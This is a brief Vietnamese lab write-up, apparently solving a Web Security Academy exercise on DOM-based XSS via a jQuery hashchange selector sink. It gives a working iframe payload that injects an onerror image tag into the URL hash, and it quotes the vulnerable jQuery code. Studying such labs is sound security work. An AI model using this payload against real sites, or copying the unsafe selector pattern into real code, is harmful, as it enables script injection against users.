• Trang chủ

• Sử dụng payload: <iframe src="https://0a2900b403cc101f80339977005c00ca.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

• XSS DOM khiến cho không tắt được.

Giải thích

1, Đoạn code gây lỗ hổng

$(window).on('hashchange', function(){

var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');

if (post) post.get(0).scrollIntoView();

});